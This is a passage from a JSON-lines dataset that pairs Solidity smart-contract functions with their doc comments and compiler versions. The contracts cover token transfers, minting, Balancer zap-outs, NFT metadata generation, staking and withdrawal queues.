hook to be marked pure\n if (false) {\n implementation = address(0);\n }\n\n require(msg.sender == gov, \"only the gov may call _becomeImplementation\");\n }", "version": "0.5.17"} {"comment": "/**\n * @notice Called by the delegator on a delegate to forfeit its responsibility\n */", "function_code": "function _resignImplementation() public {\n // Shh -- we don't ever want this hook to be marked pure\n if (false) {\n implementation = address(0);\n }\n\n require(msg.sender == gov, \"only the gov may call _resignImplementation\");\n }", "version": "0.5.17"} {"comment": "// -- Internal Helper functions -- //", "function_code": "function _getMarketIdFromTokenAddress(address _solo, address token)\r\n internal\r\n view\r\n returns (uint256)\r\n {\r\n ISoloMargin solo = ISoloMargin(_solo);\r\n\r\n uint256 numMarkets = solo.getNumMarkets();\r\n\r\n address curToken;\r\n for (uint256 i = 0; i < numMarkets; i++) {\r\n curToken = solo.getMarketTokenAddress(i);\r\n\r\n if (curToken == token) {\r\n return i;\r\n }\r\n }\r\n\r\n revert(\"No marketId found for provided token\");\r\n }", "version": "0.7.4"} {"comment": "/**\r\n * @dev Allows the current owner to update multiple rates.\r\n * @param data an array that alternates sha3 hashes of the symbol and the corresponding rate . \r\n */", "function_code": "function updateRates(uint[] data) public onlyOwner {\r\n if (data.length % 2 > 0)\r\n throw;\r\n uint i = 0;\r\n while (i < data.length / 2) {\r\n bytes32 symbol = bytes32(data[i * 2]);\r\n uint rate = data[i * 2 + 1];\r\n rates[symbol] = rate;\r\n RateUpdated(now, symbol, rate);\r\n i++;\r\n }\r\n }", "version": "0.4.11"} {"comment": "// get a 2nd linked keycard from tokenId", "function_code": "function getAssetLink2(uint256 tokenId) private pure returns (uint256) {\r\n uint256 rand = random(\"link2\", tokenId);\r\n uint256 link2Id = rand % (tokenId - 1) + 1;\r\n if (link2Id == getAssetLink1(tokenId)){\r\n return 0;\r\n } else {\r\n if (rand % 99 < 50)\r\n return link2Id;\r\n else\r\n return 0;\r\n }\r\n }", "version": "0.8.7"} {"comment": "// generate metadata for links", "function_code": "function getAssetLinks(uint256 tokenId) private pure returns (string memory) {\r\n string memory traitTypeJson = ', {\"trait_type\": \"Linked\", \"value\": \"';\r\n if (getAssetLink1(tokenId) < 1)\r\n return '';\r\n if (getAssetLink2(tokenId) > 0) {\r\n return string(abi.encodePacked(traitTypeJson, '2 Rooms\"}'));\r\n } else {\r\n return string(abi.encodePacked(traitTypeJson, '1 Room\"}'));\r\n }\r\n }", "version": "0.8.7"} {"comment": "// get a random gradient color from tokenId", "function_code": "function getBackgrounGradient(uint256 tokenId) private pure returns (string memory) {\r\n uint256 colorSeed = random(\"color\", tokenId);\r\n if ( colorSeed % 7 == 3)\r\n return \"black;red;gray;red;purple;black;\";\r\n if ( colorSeed % 7 == 2)\r\n return \"black;green;black;\";\r\n if ( colorSeed % 7 == 1)\r\n return \"black;blue;black;\";\r\n if ( colorSeed % 7 == 4)\r\n return \"black;lightblue;black;\";\r\n if ( colorSeed % 7 == 5)\r\n return \"black;red;purple;blue;black;\";\r\n if ( colorSeed % 7 == 6)\r\n return \"black;blue;purple;blue;black;\";\r\n return \"black;gray;red;purple;black;\";\r\n }", "version": "0.8.7"} {"comment": "/** Set `_owner` to the 0 address.\r\n * Only do this to deliberately lock in the current permissions.\r\n *\r\n * THIS CANNOT BE UNDONE! Call this only if you know what you're doing and why you're doing it!\r\n */", "function_code": "function renounceOwnership(string calldata declaration) external onlyOwner {\r\n string memory requiredDeclaration = \"I hereby renounce ownership of this contract forever.\";\r\n require(\r\n keccak256(abi.encodePacked(declaration)) ==\r\n keccak256(abi.encodePacked(requiredDeclaration)),\r\n \"declaration incorrect\");\r\n\r\n emit OwnershipTransferred(_owner, address(0));\r\n _owner = address(0);\r\n }", "version": "0.5.7"} {"comment": "/// Mint `value` new attotokens to `account`.", "function_code": "function mint(address account, uint256 value)\r\n external\r\n notPaused\r\n only(minter)\r\n {\r\n require(account != address(0), \"can't mint to address zero\");\r\n\r\n totalSupply = totalSupply.add(value);\r\n require(totalSupply < maxSupply, \"max supply exceeded\");\r\n trustedData.addBalance(account, value);\r\n emit Transfer(address(0), account, value);\r\n }", "version": "0.5.7"} {"comment": "/// @dev Transfer of `value` attotokens from `from` to `to`.\n/// Internal; doesn't check permissions.", "function_code": "function _transfer(address from, address to, uint256 value) internal {\r\n require(to != address(0), \"can't transfer to address zero\");\r\n trustedData.subBalance(from, value);\r\n uint256 fee = 0;\r\n\r\n if (address(trustedTxFee) != address(0)) {\r\n fee = trustedTxFee.calculateFee(from, to, value);\r\n require(fee <= value, \"transaction fee out of bounds\");\r\n\r\n trustedData.addBalance(feeRecipient, fee);\r\n emit Transfer(from, feeRecipient, fee);\r\n }\r\n\r\n trustedData.addBalance(to, value.sub(fee));\r\n emit Transfer(from, to, value.sub(fee));\r\n }", "version": "0.5.7"} {"comment": "/// @dev Set `spender`'s allowance on `holder`'s tokens to `value` attotokens.\n/// Internal; doesn't check permissions.", "function_code": "function _approve(address holder, address spender, uint256 value) internal {\r\n require(spender != address(0), \"spender cannot be address zero\");\r\n require(holder != address(0), \"holder cannot be address zero\");\r\n\r\n trustedData.setAllowed(holder, spender, value);\r\n emit Approval(holder, spender, value);\r\n }", "version": "0.5.7"} {"comment": "/// Accept upgrade from previous RSV instance. Can only be called once. ", "function_code": "function acceptUpgrade(address previousImplementation) external onlyOwner {\r\n require(address(trustedData) == address(0), \"can only be run once\");\r\n Reserve previous = Reserve(previousImplementation);\r\n trustedData = ReserveEternalStorage(previous.getEternalStorageAddress());\r\n\r\n // Copy values from old contract\r\n totalSupply = previous.totalSupply();\r\n maxSupply = previous.maxSupply();\r\n emit MaxSupplyChanged(maxSupply);\r\n \r\n // Unpause.\r\n paused = false;\r\n emit Unpaused(pauser);\r\n\r\n previous.acceptOwnership();\r\n\r\n // Take control of Eternal Storage.\r\n previous.changePauser(address(this));\r\n previous.pause();\r\n previous.transferEternalStorage(address(this));\r\n\r\n // Burn the bridge behind us.\r\n previous.changeMinter(address(0));\r\n previous.changePauser(address(0));\r\n previous.renounceOwnership(\"I hereby renounce ownership of this contract forever.\");\r\n }", "version": "0.5.7"} {"comment": "// Verify the signature for the given payload is valid", "function_code": "function verifySignature(\r\n address _wallet,\r\n uint256 _amount,\r\n uint256 _dropId,\r\n uint256 _tokenId,\r\n bytes memory signature\r\n ) public view returns (bool) {\r\n bytes32 messageHash = hashPayload(_wallet, _amount, _dropId, _tokenId);\r\n return messageHash.toEthSignedMessageHash().recover(signature) == signer;\r\n }", "version": "0.8.4"} {"comment": "// Payable function to receive funds and emit event to indicate successful purchase", "function_code": "function purchase(\r\n address _wallet,\r\n uint256 _amount,\r\n uint256 _dropId,\r\n uint256 _tokenId,\r\n bytes memory signature\r\n ) public payable {\r\n require(verifySignature(_wallet, _amount, _dropId, _tokenId, signature));\r\n require(msg.value == _amount, \"Amount received does not match expected transfer amount\");\r\n require(!tokenClaimed[_tokenId], \"Token has already been claimed\");\r\n tokenClaimed[_tokenId] = true;\r\n emit Purchase(_wallet, _amount, _dropId, _tokenId);\r\n }", "version": "0.8.4"} {"comment": "// generate metadata for lasers", "function_code": "function haveLaser(uint256 tokenId) private pure returns (string memory) {\r\n uint256 laserSeed = random(\"laser\", tokenId);\r\n string memory traitTypeJson = ', {\"trait_type\": \"Laser\", \"value\": \"';\r\n if (laserSeed % 251 == 2)\r\n return string(abi.encodePacked(traitTypeJson, 'Dual Green Lasers\"}'));\r\n if (laserSeed % 167 == 2)\r\n return string(abi.encodePacked(traitTypeJson, 'Dual Red Lasers\"}'));\r\n if (laserSeed % 71 == 2)\r\n return string(abi.encodePacked(traitTypeJson, 'Green Laser\"}'));\r\n if (laserSeed % 31 == 2)\r\n return string(abi.encodePacked(traitTypeJson, 'Red Laser\"}'));\r\n return '';\r\n }", "version": "0.8.7"} {"comment": "// generate basic attributes in metadata", "function_code": "function haveBasicAttributes(uint256 tokenId) private view returns (string memory) {\r\n string memory traitTypeJson = '{\"trait_type\": \"';\r\n return string(abi.encodePacked(string(abi.encodePacked(traitTypeJson, 'Room Type\", \"value\": \"', getRoomType(tokenId), '\"}, ')), string(abi.encodePacked(traitTypeJson, 'Room Theme\", \"value\": \"', getRoomTheme(tokenId), '\"}')), getAssetLinks(tokenId)));\r\n }", "version": "0.8.7"} {"comment": "/**\r\n * @dev Adds single address to whitelist.\r\n * @param _beneficiary Address to be added to the whitelist\r\n */", "function_code": "function addToWhitelist(address _beneficiary,uint256 _stage) external onlyOwner {\r\n require(_beneficiary != address(0));\r\n require(_stage>0); \r\n if(_stage==1){\r\n whitelist[_beneficiary].stage=Stage.PROCESS1_FAILED;\r\n returnInvestoramount(_beneficiary,adminCharge_p1);\r\n failedWhitelist(_beneficiary);\r\n investedAmountOf[_beneficiary]=0;\r\n }else if(_stage==2){\r\n whitelist[_beneficiary].stage=Stage.PROCESS1_SUCCESS;\r\n }else if(_stage==3){\r\n whitelist[_beneficiary].stage=Stage.PROCESS2_FAILED;\r\n returnInvestoramount(_beneficiary,adminCharge_p2);\r\n failedWhitelist(_beneficiary);\r\n investedAmountOf[_beneficiary]=0;\r\n }else if(_stage==4){\r\n whitelist[_beneficiary].stage=Stage.PROCESS2_SUCCESS;\r\n }else if(_stage==5){\r\n whitelist[_beneficiary].stage=Stage.PROCESS3_FAILED;\r\n returnInvestoramount(_beneficiary,adminCharge_p3);\r\n failedWhitelist(_beneficiary);\r\n investedAmountOf[_beneficiary]=0;\r\n }else if(_stage==6){\r\n whitelist[_beneficiary].stage=Stage.PROCESS3_SUCCESS;\r\n afterWhtelisted( _beneficiary);\r\n }\r\n \r\n }", "version": "0.4.24"} {"comment": "// minimum fee is 1 unless same day", "function_code": "function calcFees(uint256 start, uint256 end, uint256 startAmount) constant returns (uint256 amount, uint256 fee) {\r\n if (startAmount == 0) return;\r\n uint256 numberOfDays = wotDay(end) - wotDay(start);\r\n if (numberOfDays == 0) {\r\n amount = startAmount;\r\n return;\r\n }\r\n amount = (rateForDays(numberOfDays) * startAmount) / (1 ether);\r\n if ((fee == 0) && (amount != 0)) amount--;\r\n fee = safeSub(startAmount,amount);\r\n }", "version": "0.4.16"} {"comment": "/* send GBT */", "function_code": "function transfer(address _to, uint256 _value) whenNotPaused returns (bool ok) {\r\n\t update(msg.sender); // Do this to ensure sender has enough funds.\r\n\t\tupdate(_to); \r\n\r\n balances[msg.sender].amount = safeSub(balances[msg.sender].amount, _value);\r\n balances[_to].amount = safeAdd(balances[_to].amount, _value);\r\n\r\n\t\tTransfer(msg.sender, _to, _value); //Notify anyone listening that this transfer took place\r\n return true;\r\n\t}", "version": "0.4.16"} {"comment": "// hgtRates in whole tokens per ETH\n// max individual contribution in whole ETH", "function_code": "function setHgtRates(uint256 p0,uint256 p1,uint256 p2,uint256 p3,uint256 p4, uint256 _max ) onlyOwner {\r\n require (now < startDate) ;\r\n hgtRates[0] = p0 * 10**8;\r\n hgtRates[1] = p1 * 10**8;\r\n hgtRates[2] = p2 * 10**8;\r\n hgtRates[3] = p3 * 10**8;\r\n hgtRates[4] = p4 * 10**8;\r\n personalMax = _max * 1 ether; // max ETH per person\r\n }", "version": "0.4.16"} {"comment": "// Enter the Sanctuary. Pay some SDTs. Earn some shares.", "function_code": "function enter(uint256 _amount) public {\n uint256 totalSdt = sdt.balanceOf(address(this));\n uint256 totalShares = totalSupply();\n if (totalShares == 0 || totalSdt == 0) {\n _mint(_msgSender(), _amount);\n emit Stake(_msgSender(), _amount);\n } else {\n uint256 what = _amount.mul(totalShares).div(totalSdt);\n _mint(_msgSender(), what);\n emit Stake(_msgSender(), what);\n }\n sdt.transferFrom(_msgSender(), address(this), _amount);\n }", "version": "0.6.12"} {"comment": "//BUY minter", "function_code": "function BebTomining(uint256 _value,address _addr)public{\r\n uint256 usdt=_value*ethExchuangeRate/bebethexchuang;\r\n uint256 _udst=usdt* 10 ** 18;\r\n miner storage user=miners[_addr];\r\n require(usdt>50);\r\n if(usdt>4900){\r\n usdt=_value*ethExchuangeRate/bebethexchuang*150/100;\r\n _udst=usdt* 10 ** 18;\r\n }else{\r\n if (usdt > 900){\r\n usdt = _value * ethExchuangeRate / bebethexchuang * 130 / 100;\r\n _udst=usdt* 10 ** 18;\r\n }\r\n else{\r\n if (usdt > 450){\r\n usdt = _value * ethExchuangeRate / bebethexchuang * 120 / 100;\r\n _udst=usdt* 10 ** 18;\r\n }\r\n else{\r\n if (usdt > 270){\r\n usdt = _value * ethExchuangeRate / bebethexchuang * 110 / 100;\r\n _udst=usdt* 10 ** 18;\r\n }\r\n }\r\n }\r\n }\r\n bebTokenTransfer.transferFrom(_addr,address(this),_value * 10 ** 18);\r\n TotalInvestment+=_udst;\r\n user.mining+=_udst;\r\n //user._mining+=_udst;\r\n user.lastDate=now;\r\n bomus(_addr,_udst,\"Purchase success!\");\r\n }", "version": "0.4.24"} {"comment": "// sellbeb-eth", "function_code": "function sellBeb(uint256 _sellbeb)public {\r\n uint256 _sellbebt=_sellbeb* 10 ** 18;\r\n require(_sellbeb>0,\"The exchange amount must be greater than 0\");\r\n require(_sellbebbebex,\"Insufficient contract balance\");\r\n bebTokenTransfer.transferFrom(msg.sender,address(this),_sellbebt);\r\n msg.sender.transfer(bebex);\r\n }", "version": "0.4.24"} {"comment": "/**\r\n @notice This function is used for zapping out of balancer pools\r\n @param _ToTokenContractAddress The token in which we want zapout (for ethers, its zero address)\r\n @param _FromBalancerPoolAddress The address of balancer pool to zap out\r\n @param _IncomingBPT The quantity of balancer pool tokens\r\n @return success or failure\r\n */", "function_code": "function EasyZapOut(\r\n address _ToTokenContractAddress,\r\n address _FromBalancerPoolAddress,\r\n uint256 _IncomingBPT\r\n ) public payable nonReentrant stopInEmergency returns (uint256) {\r\n require(\r\n BalancerFactory.isBPool(_FromBalancerPoolAddress),\r\n \"Invalid Balancer Pool\"\r\n );\r\n\r\n address _FromTokenAddress;\r\n if (\r\n IBPool_Balancer_Unzap_V1_1(_FromBalancerPoolAddress).isBound(\r\n _ToTokenContractAddress\r\n )\r\n ) {\r\n _FromTokenAddress = _ToTokenContractAddress;\r\n } else {\r\n _FromTokenAddress = _getBestDeal(\r\n _FromBalancerPoolAddress,\r\n _IncomingBPT\r\n );\r\n }\r\n\r\n return (\r\n _performZapOut(\r\n msg.sender,\r\n _ToTokenContractAddress,\r\n _FromBalancerPoolAddress,\r\n _IncomingBPT,\r\n _FromTokenAddress\r\n )\r\n );\r\n }", "version": "0.5.12"} {"comment": "/**\r\n @notice In the case of user wanting to get out in ETH, the '_ToTokenContractAddress' it will be address(0x0)\r\n @param _toWhomToIssue is the address of user\r\n @param _ToTokenContractAddress is the address of the token to which you want to convert to\r\n @param _FromBalancerPoolAddress the address of the Balancer Pool from which you want to ZapOut\r\n @param _IncomingBPT is the quantity of Balancer Pool tokens that the user wants to ZapOut\r\n @param _IntermediateToken is the token to which the Balancer Pool should be Zapped Out\r\n @notice this is only used if the outgoing token is not amongst the Balancer Pool tokens\r\n @return success or failure\r\n */", "function_code": "function ZapOut(\r\n address payable _toWhomToIssue,\r\n address _ToTokenContractAddress,\r\n address _FromBalancerPoolAddress,\r\n uint256 _IncomingBPT,\r\n address _IntermediateToken\r\n ) public payable nonReentrant stopInEmergency returns (uint256) {\r\n return (\r\n _performZapOut(\r\n _toWhomToIssue,\r\n _ToTokenContractAddress,\r\n _FromBalancerPoolAddress,\r\n _IncomingBPT,\r\n _IntermediateToken\r\n )\r\n );\r\n }", "version": "0.5.12"} {"comment": "/**\r\n @notice This method is called by ZapOut and EasyZapOut()\r\n @param _toWhomToIssue is the address of user\r\n @param _ToTokenContractAddress is the address of the token to which you want to convert to\r\n @param _FromBalancerPoolAddress the address of the Balancer Pool from which you want to ZapOut\r\n @param _IncomingBPT is the quantity of Balancer Pool tokens that the user wants to ZapOut\r\n @param _IntermediateToken is the token to which the Balancer Pool should be Zapped Out\r\n @notice this is only used if the outgoing token is not amongst the Balancer Pool tokens\r\n @return success or failure\r\n */", "function_code": "function _performZapOut(\r\n address payable _toWhomToIssue,\r\n address _ToTokenContractAddress,\r\n address _FromBalancerPoolAddress,\r\n uint256 _IncomingBPT,\r\n address _IntermediateToken\r\n ) internal returns (uint256) {\r\n //transfer goodwill\r\n\r\n uint256 goodwillPortion = _transferGoodwill(\r\n _FromBalancerPoolAddress,\r\n _IncomingBPT,\r\n _toWhomToIssue\r\n );\r\n\r\n require(\r\n IERC20(_FromBalancerPoolAddress).transferFrom(\r\n _toWhomToIssue,\r\n address(this),\r\n SafeMath.sub(_IncomingBPT, goodwillPortion)\r\n )\r\n );\r\n\r\n if (\r\n IBPool_Balancer_Unzap_V1_1(_FromBalancerPoolAddress).isBound(\r\n _ToTokenContractAddress\r\n )\r\n ) {\r\n return (\r\n _directZapout(\r\n _FromBalancerPoolAddress,\r\n _ToTokenContractAddress,\r\n _toWhomToIssue,\r\n SafeMath.sub(_IncomingBPT, goodwillPortion)\r\n )\r\n );\r\n }\r\n\r\n //exit balancer\r\n uint256 _returnedTokens = _exitBalancer(\r\n _FromBalancerPoolAddress,\r\n _IntermediateToken,\r\n SafeMath.sub(_IncomingBPT, goodwillPortion)\r\n );\r\n\r\n if (_ToTokenContractAddress == address(0)) {\r\n uint256 ethBought = _token2Eth(\r\n _IntermediateToken,\r\n _returnedTokens,\r\n _toWhomToIssue\r\n );\r\n emit Zapout(\r\n _toWhomToIssue,\r\n _FromBalancerPoolAddress,\r\n _ToTokenContractAddress,\r\n ethBought\r\n );\r\n return ethBought;\r\n } else {\r\n uint256 tokenBought = _token2Token(\r\n _IntermediateToken,\r\n _toWhomToIssue,\r\n _ToTokenContractAddress,\r\n _returnedTokens\r\n );\r\n emit Zapout(\r\n _toWhomToIssue,\r\n _FromBalancerPoolAddress,\r\n _ToTokenContractAddress,\r\n tokenBought\r\n );\r\n return tokenBought;\r\n }\r\n }", "version": "0.5.12"} {"comment": "/**\r\n @notice This function is used to calculate and transfer goodwill\r\n @param _tokenContractAddress Token address in which goodwill is deducted\r\n @param tokens2Trade The total amount of tokens to be zapped out\r\n @param _toWhomToIssue The address of user\r\n @return The amount of goodwill deducted\r\n */", "function_code": "function _transferGoodwill(\r\n address _tokenContractAddress,\r\n uint256 tokens2Trade,\r\n address _toWhomToIssue\r\n ) internal returns (uint256 goodwillPortion) {\r\n goodwillPortion = SafeMath.div(\r\n SafeMath.mul(tokens2Trade, goodwill),\r\n 10000\r\n );\r\n\r\n if (goodwillPortion == 0) {\r\n return 0;\r\n }\r\n\r\n require(\r\n IERC20(_tokenContractAddress).transferFrom(\r\n _toWhomToIssue,\r\n dzgoodwillAddress,\r\n goodwillPortion\r\n ),\r\n \"Error in transferring BPT:1\"\r\n );\r\n return goodwillPortion;\r\n }", "version": "0.5.12"} {"comment": "/**\r\n @notice This function finds best token from the final tokens of balancer pool\r\n @param _FromBalancerPoolAddress The address of balancer pool to zap out\r\n @param _IncomingBPT The amount of balancer pool token to covert\r\n @return The token address having max liquidity\r\n */", "function_code": "function _getBestDeal(\r\n address _FromBalancerPoolAddress,\r\n uint256 _IncomingBPT\r\n ) internal view returns (address _token) {\r\n //get token list\r\n address[] memory tokens = IBPool_Balancer_Unzap_V1_1(\r\n _FromBalancerPoolAddress\r\n ).getFinalTokens();\r\n\r\n uint256 maxEth;\r\n\r\n for (uint256 index = 0; index < tokens.length; index++) {\r\n //get token for given bpt amount\r\n uint256 tokensForBPT = getBPT2Token(\r\n _FromBalancerPoolAddress,\r\n _IncomingBPT,\r\n tokens[index]\r\n );\r\n\r\n //get eth value for each token\r\n Iuniswap_Balancer_Unzap_V1_1 FromUniSwapExchangeContractAddress\r\n = Iuniswap_Balancer_Unzap_V1_1(\r\n UniSwapFactoryAddress.getExchange(tokens[index])\r\n );\r\n\r\n if (address(FromUniSwapExchangeContractAddress) == address(0)) {\r\n continue;\r\n }\r\n uint256 ethReturned = FromUniSwapExchangeContractAddress\r\n .getTokenToEthInputPrice(tokensForBPT);\r\n\r\n //get max eth value\r\n if (maxEth < ethReturned) {\r\n maxEth = ethReturned;\r\n _token = tokens[index];\r\n }\r\n }\r\n }", "version": "0.5.12"} {"comment": "/**\r\n @notice This function gives the amount of tokens on zapping out from given BPool\r\n @param _FromBalancerPoolAddress Address of balancer pool to zapout from\r\n @param _IncomingBPT The amount of BPT to zapout\r\n @param _toToken Address of token to zap out with\r\n @return Amount of ERC token\r\n */", "function_code": "function getBPT2Token(\r\n address _FromBalancerPoolAddress,\r\n uint256 _IncomingBPT,\r\n address _toToken\r\n ) internal view returns (uint256 tokensReturned) {\r\n uint256 totalSupply = IBPool_Balancer_Unzap_V1_1(\r\n _FromBalancerPoolAddress\r\n ).totalSupply();\r\n uint256 swapFee = IBPool_Balancer_Unzap_V1_1(_FromBalancerPoolAddress)\r\n .getSwapFee();\r\n uint256 totalWeight = IBPool_Balancer_Unzap_V1_1(\r\n _FromBalancerPoolAddress\r\n ).getTotalDenormalizedWeight();\r\n uint256 balance = IBPool_Balancer_Unzap_V1_1(_FromBalancerPoolAddress)\r\n .getBalance(_toToken);\r\n uint256 denorm = IBPool_Balancer_Unzap_V1_1(_FromBalancerPoolAddress)\r\n .getDenormalizedWeight(_toToken);\r\n\r\n tokensReturned = IBPool_Balancer_Unzap_V1_1(_FromBalancerPoolAddress)\r\n .calcSingleOutGivenPoolIn(\r\n balance,\r\n denorm,\r\n totalSupply,\r\n totalWeight,\r\n _IncomingBPT,\r\n swapFee\r\n );\r\n }", "version": "0.5.12"} {"comment": "/**\r\n @notice This function is used to zap out of the given balancer pool\r\n @param _FromBalancerPoolAddress The address of balancer pool to zap out\r\n @param _ToTokenContractAddress The Token address which will be zapped out\r\n @param _amount The amount of token for zapout\r\n @return The amount of tokens received after zap out\r\n */", "function_code": "function _exitBalancer(\r\n address _FromBalancerPoolAddress,\r\n address _ToTokenContractAddress,\r\n uint256 _amount\r\n ) internal returns (uint256 returnedTokens) {\r\n require(\r\n IBPool_Balancer_Unzap_V1_1(_FromBalancerPoolAddress).isBound(\r\n _ToTokenContractAddress\r\n ),\r\n \"Token not bound\"\r\n );\r\n\r\n returnedTokens = IBPool_Balancer_Unzap_V1_1(_FromBalancerPoolAddress)\r\n .exitswapPoolAmountIn(_ToTokenContractAddress, _amount, 1);\r\n\r\n require(returnedTokens > 0, \"Error in exiting balancer pool\");\r\n }", "version": "0.5.12"} {"comment": "/**\r\n @notice This function is used to swap tokens\r\n @param _FromTokenContractAddress The token address to swap from\r\n @param _ToWhomToIssue The address to transfer after swap\r\n @param _ToTokenContractAddress The token address to swap to\r\n @param tokens2Trade The quantity of tokens to swap\r\n @return The amount of tokens returned after swap\r\n */", "function_code": "function _token2Token(\r\n address _FromTokenContractAddress,\r\n address _ToWhomToIssue,\r\n address _ToTokenContractAddress,\r\n uint256 tokens2Trade\r\n ) internal returns (uint256 tokenBought) {\r\n\r\n Iuniswap_Balancer_Unzap_V1_1 FromUniSwapExchangeContractAddress\r\n = Iuniswap_Balancer_Unzap_V1_1(\r\n UniSwapFactoryAddress.getExchange(_FromTokenContractAddress)\r\n );\r\n\r\n IERC20(_FromTokenContractAddress).approve(\r\n address(FromUniSwapExchangeContractAddress),\r\n tokens2Trade\r\n );\r\n\r\n tokenBought = FromUniSwapExchangeContractAddress\r\n .tokenToTokenTransferInput(\r\n tokens2Trade,\r\n 1,\r\n 1,\r\n SafeMath.add(now, 300),\r\n _ToWhomToIssue,\r\n _ToTokenContractAddress\r\n );\r\n require(tokenBought > 0, \"Error in swapping ERC: 1\");\r\n }", "version": "0.5.12"} {"comment": "/**\n * @dev Attempt to send a user or contract ETH and if it fails store the amount owned for later withdrawal.\n */", "function_code": "function _sendValueWithFallbackWithdraw(\n address payable user,\n uint256 amount,\n uint256 gasLimit\n ) private {\n if (amount == 0) {\n return;\n }\n // Cap the gas to prevent consuming all available gas to block a tx from completing successfully\n // solhint-disable-next-line avoid-low-level-calls\n (bool success, ) = user.call{value: amount, gas: gasLimit}(\"\");\n if (!success) {\n // Record failed sends for a withdrawal later\n // Transfers could fail if sent to a multisig with non-trivial receiver logic\n // solhint-disable-next-line reentrancy\n pendingWithdrawals[user] = pendingWithdrawals[user].add(amount);\n emit WithdrawPending(user, amount);\n }\n }", "version": "0.8.4"} {"comment": "/**\n * @dev Returns the creator and a destination address for any payments to the creator,\n * returns address(0) if the creator is unknown.\n */", "function_code": "function _getCreatorAndPaymentAddress(address nftContract, uint256 tokenId)\n internal\n view\n returns (address payable, address payable)\n {\n address payable creator = _getCreator(nftContract, tokenId);\n try\n IBLSNFT721(nftContract).getTokenCreatorPaymentAddress(tokenId)\n returns (address payable tokenCreatorPaymentAddress) {\n if (tokenCreatorPaymentAddress != address(0)) {\n return (creator, tokenCreatorPaymentAddress);\n }\n } catch // solhint-disable-next-line no-empty-blocks\n {\n // Fall through to return (creator, creator) below\n }\n return (creator, creator);\n }", "version": "0.8.4"} {"comment": "/**\n * @dev Deploys a new `StablePool`.\n */", "function_code": "function create(\n string memory name,\n string memory symbol,\n IERC20[] memory tokens,\n uint256 amplificationParameter,\n uint256 swapFeePercentage,\n address owner\n ) external returns (address) {\n (uint256 pauseWindowDuration, uint256 bufferPeriodDuration) = getPauseConfiguration();\n\n address pool = address(\n new StablePool(\n getVault(),\n name,\n symbol,\n tokens,\n amplificationParameter,\n swapFeePercentage,\n pauseWindowDuration,\n bufferPeriodDuration,\n owner\n )\n );\n _register(pool);\n return pool;\n }", "version": "0.7.1"} {"comment": "// the value which is incremeted in the struct after the waitingTime", "function_code": "function addValueCustomTime(uint256 _transferedValue, uint256 _waitingTime) public onlyOwner\r\n {\r\n if(_transferedValue > 0 ) // otherwise there is no need to add a value in the array\r\n {\r\n uint256 unlockTime = block.timestamp + _waitingTime;\r\n bool found = false;\r\n uint256 index;\r\n\r\n for(uint i = 0; i<_latencyArray.length; i++)\r\n {\r\n if (_latencyArray[i].time > unlockTime)\r\n {\r\n index = i;\r\n found = true;\r\n break;\r\n }\r\n }\r\n\r\n if (found)\r\n { // we need to shift all the indices\r\n _latencyArray.push(LatencyPoint(_latencyArray[_latencyArray.length-1].time, _latencyArray[_latencyArray.length-1].value + _transferedValue));\r\n\r\n for(uint i = _latencyArray.length - 2; i>index; i--)\r\n {\r\n _latencyArray[i].time = _latencyArray[i-1].time;\r\n _latencyArray[i].value = _latencyArray[i-1].value + _transferedValue;\r\n }\r\n\r\n _latencyArray[index].time = unlockTime;\r\n\r\n if (index>0){\r\n _latencyArray[index].value = _latencyArray[index-1].value + _transferedValue;\r\n }else\r\n {\r\n _latencyArray[index].value = _transferedValue;\r\n }\r\n }else\r\n { // the timestamp is after all the others\r\n if (_latencyArray.length>0){\r\n _latencyArray.push(LatencyPoint(unlockTime,_latencyArray[_latencyArray.length-1].value + _transferedValue));\r\n }\r\n else\r\n {\r\n _latencyArray.push(LatencyPoint(unlockTime, _transferedValue));\r\n }\r\n }\r\n }\r\n }", "version": "0.5.16"} {"comment": "// you need to keep at least the last one such that you know how much you can withdraw", "function_code": "function removePastPoints() private\r\n {\r\n uint i = 0;\r\n while (i < _latencyArray.length && _latencyArray[i].time < block.timestamp)\r\n {\r\n i++;\r\n }\r\n if (i==0) // everything is still in the future\r\n {\r\n //_latencyArray.length=0;\r\n }\r\n else if (i == _latencyArray.length) // then we need to keep the last entry\r\n {\r\n _latencyArray[0] = _latencyArray[i-1];\r\n _latencyArray.length = 1;\r\n }\r\n else // i is the first item that is bigger -> so we need to keep all the coming ones\r\n {\r\n i--; // you need to keep the last entry of the past if its not zero\r\n uint j = 0;\r\n while (j<_latencyArray.length-i)\r\n {\r\n _latencyArray[j] = _latencyArray[j+i];\r\n j++;\r\n }\r\n _latencyArray.length = _latencyArray.length-i;\r\n }\r\n }", "version": "0.5.16"} {"comment": "//if you transfer token from one address to the other you reduce the total amount", "function_code": "function reduceValue(uint256 _value) public onlyOwner\r\n {\r\n removePastPoints();\r\n\r\n for(uint i=0; i<_latencyArray.length; i++)\r\n {\r\n if(_latencyArray[i].value<_value)\r\n {\r\n _latencyArray[i].value = 0;\r\n }\r\n else\r\n {\r\n _latencyArray[i].value -= _value;\r\n }\r\n }\r\n removeZeroValues(); //removes zero values form the array\r\n }", "version": "0.5.16"} {"comment": "// returns the first point that is strictly larger than the amount", "function_code": "function withdrawSteps(uint256 _amount) public view returns (uint256 Steps)\r\n {\r\n uint256 steps = 0;\r\n // we need the first index, that is larger or euqal to the amount\r\n for(uint i = 0;i<_latencyArray.length;i++)\r\n {\r\n steps = i;\r\n if(_latencyArray[i].value > _amount)\r\n {\r\n break;\r\n }\r\n\r\n }\r\n return steps;\r\n }", "version": "0.5.16"} {"comment": "//everyone can deposit ether into the contract", "function_code": "function deposit() public payable\r\n {\r\n // nothing else to do!\r\n // require(msg.value>0); // value is always unsigned -> if someone sends negative values it will increase the balance\r\n emit TransferWei(msg.sender, msg.value);\r\n }", "version": "0.5.16"} {"comment": "// optional functions useful for debugging", "function_code": "function withdrawableAmount(address _addr) public view returns(uint256 value)\r\n {\r\n if (balanceOf(_addr)==0) {\r\n return 0;\r\n }\r\n if (_addr != owner)\r\n {\r\n return _latencyOf[_addr].withdrawableAmount();\r\n }\r\n else\r\n {\r\n return balanceOf(_addr); // the owner can always access its token\r\n }\r\n }", "version": "0.5.16"} {"comment": "/**\n * @notice Returns how funds will be distributed for a sale at the given price point.\n * @dev This could be used to present exact fee distributing on listing or before a bid is placed.\n */", "function_code": "function getFees(\n address nftContract,\n uint256 tokenId,\n uint256 price\n )\n public\n view\n returns (\n uint256 blocksportFee,\n uint256 creatorSecondaryFee,\n uint256 ownerRev\n )\n {\n (blocksportFee, , creatorSecondaryFee, , ownerRev) = _getFees(\n nftContract,\n tokenId,\n _getSellerFor(nftContract, tokenId),\n price\n );\n }", "version": "0.8.4"} 